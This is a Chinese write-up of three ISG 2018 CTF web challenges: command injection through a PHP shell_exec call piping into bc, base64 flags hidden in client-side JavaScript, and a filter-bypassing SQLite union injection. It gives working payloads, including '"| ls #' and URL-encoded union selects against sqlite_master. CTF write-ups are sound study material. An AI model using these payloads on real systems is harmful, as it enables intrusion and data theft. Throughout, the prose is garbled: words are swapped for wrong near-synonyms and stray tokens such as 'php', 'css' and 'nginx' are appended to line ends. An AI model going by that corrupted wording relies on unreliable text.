ISG 2018 Web Writeup

做者:agetflag

原文来自:ISG 2018 Web Writeup

ISG 2018 Web Writeup

CTF萌新,因此写的比较基础,请大佬们勿喷,比赛自己的Web题也不难javascript

calc

首先看到题目后,在输入框中测试了一下,发现能够被执行php

首先猜测是否是ssti,模板注入,可是日常遇到的模板注入题目中,python的居多,php的没怎么遇到过,有点怀疑若是是php的模板注入的话也不必定能搞得出来,这个时候扫一下目录css

python dirsearch.py -u http://202.120.7.205:60003/ -e php -t 60

发现存在git源码泄露html

直接上githack看看可以拖下来什么东西java

python2 GitHack.py -u "http://202.120.7.205:60003/.git/"

index.php下载了下载python

开启代码审计模式mysql

第22~27行对GET方法是否被使用作了一次判断linux

<?php $str=""; if(!empty($_GET)){     $str=$_GET["calc"]; } ?>

第40~42行对变量$str是否为空作了一次判断nginx

<?php if($str !== ""){ } ?>

接下来到第44~46行这里,看到使用了shell_exec函数,基本能够判断为命令注入了git

<?php     echo $str." = ".shell_exec("echo \"$str\" | bc"); ?>

接下来开始绕过

测试的话能够把shell_exec里面的内容粘贴到linux 的bash中进行测试

echo \"$str\" | bc

能够看到\"转义字符输出"

echo "$str" | bc

$str函数是咱们能够控制的值

开始绕过之旅

|在命令执行漏洞中常常用到,表示管道,上一条命令的输出,做为下一条命令参数

因此,会把echo 后的内容传值到bc命令,可是通过测试发现bc命令是不存在的,因此用linux 中的注释符#

注释掉它,基本构造以下

echo "$str#" | bc

这样来讲,能够注释掉后面的bc命令了,可是由于有"的阻碍,使咱们无法达到目的,因此闭合掉双引号,再加上管道符

构造以下

echo ""|$str#" | bc

$str替换为ls命令,本地验证经过

构造payload,列一下题目的当前目录

"| ls #

发现flag文件there_1s_4_fl4g

构造payload读取

"| cat there_1s_4_fl4g #

secret

题目打开以后有弹窗

随便输入后,提示密码错误,右击查看源代码

发现第6~16行中包含了密码和要输出的内容

<script type="text/javascript">     a = prompt("Password");     if(a=="H4CK3D")     {         alert("Flag is '"+atob("WW91IGFyZSBUcmFwcGVkIDopIFRoaXMgaXMgbm90IHRoZSBmbGFnLiBDaGVjayBhcm91bmQu")+"'");     }     else     {         alert("Wrong Password!");     } </script>

其中prompt方法用于显示可提示用户进行输入的对话框

atob函数是javascript中用于解密base64编码的方法,直接解密字符串

>>> import base64 >>> base64.b64decode("WW91IGFyZSBUcmFwcGVkIDopIFRoaXMgaXMgbm90IHRoZSBmbGFnLiBDaGVjayBhcm91bmQu") b'You are Trapped :) This is not the flag. Check around.'

发现并无flag

提示让咱们去周围找一找

访问index.html页面,发现进行了302跳转到了trap.html页面

咱们直接查看index.html页面的源码


发现其6~8行进行了一次302跳转

直接看下面的代码

在45~55行中发现相似的前一个页面的代码

<script type="text/javascript">     a = prompt("Password");     if(a=="H4CK3D")     {         alert("Flag is "+atob("ZmxhZzpJU0d7SDNJSU9fMXNHX2pzX1RyNHB9"));     }     else     {         alert("Wrong Password!");     } </script> 

直接解密获得flag

>>> import base64 >>> base64.b64decode("ZmxhZzpJU0d7SDNJSU9fMXNHX2pzX1RyNHB9") b'flag:ISG{H3IIO_1sG_js_Tr4p}'

news

这个题考察了sqlite的注入,进行了简单的危险函数判断

这里刚开始普及一些sqllite知识

sqllite基础

sqllite数据库注入和mysql数据库注入很像,不一样点在于,sqllite数据库没有information_schema数据库,而是采用sqlite_master表,来存储当前数据库中全部表的相关信息,好比表的名称、用于建立此表的sql语句、索引、索引所属的表、建立索引的sql语句等。它的字段有

type,name,tbl_name,rootpage,sql

type为类型

1.查询表信息

若是要查询表的信息,则type字段为“table”,name字段为表的名称,返回结果中返回的sql字段,为建立此表的sql语句。

select * from sqlite_master where type=’table’ and name=‘表名’; 

2.查询索引信息

若是要查询索引信息,则type字段为“index”,name字段为索引名称,返回结果中的tbl_name字段为该索引所属的表,sql字段为建立此索引的sql语句。

select * from sqlite_master where type=’index’ and name=‘索引名’;

sql为建立数据表的语句,这个对咱们很是有用

name 对于表来讲,是当前表的名字,对于索引来讲是当前索引的名称

tbl_name是该索引所属的表的名字

rootpage 根据字面意思理解,应该是这个对象在数据库文件中的第一个页面位置。相似链表的一个指针

手工注入

首先去看它的codesafe函数这里判断了什么内容

在代码的第47~51行

def codesafe(n):     if re.search("select", n) or re.search(" ", n) or re.search("where", n) or re.search("=", n) or re.search("'", n):         return False     else:         return True

能够看到,当其中有select、空格、where='时,返回False

会触发第73~74行这里进行截断返回

if not codesafe(id):             return 'Hacker?'

了解请了这些后,开始注入

首先,判断空格能够经过/**/,来进行绕过,判断select能够采用大小写来绕过

where=能够不用

这里采用了伪静态的模式,后面拼接.html多是web.py框架里面内置判断,不拼接.html会显示404页面

开始注入

判断字段数为2

http://202.120.7.206:60019/news-1/**/order/**/by/**/2.html

判断显示位

http://202.120.7.206:60019/news-4/**/union/**/Select/**/1,2.html

查看建表的sql语句,能够直接获取字段和表名

http://202.120.7.206:60019/news-4/**/union/**/Select/**/sql,2/**/from/**/sqlite_master.html

直接查看flag

http://202.120.7.206:60019/news-4/**/union/**/Select/**/flag,2/**/from/**/flag.html

你们有任何问题能够提问,更多文章可到i春秋论坛阅读哟~

相关文章
相关标签/搜索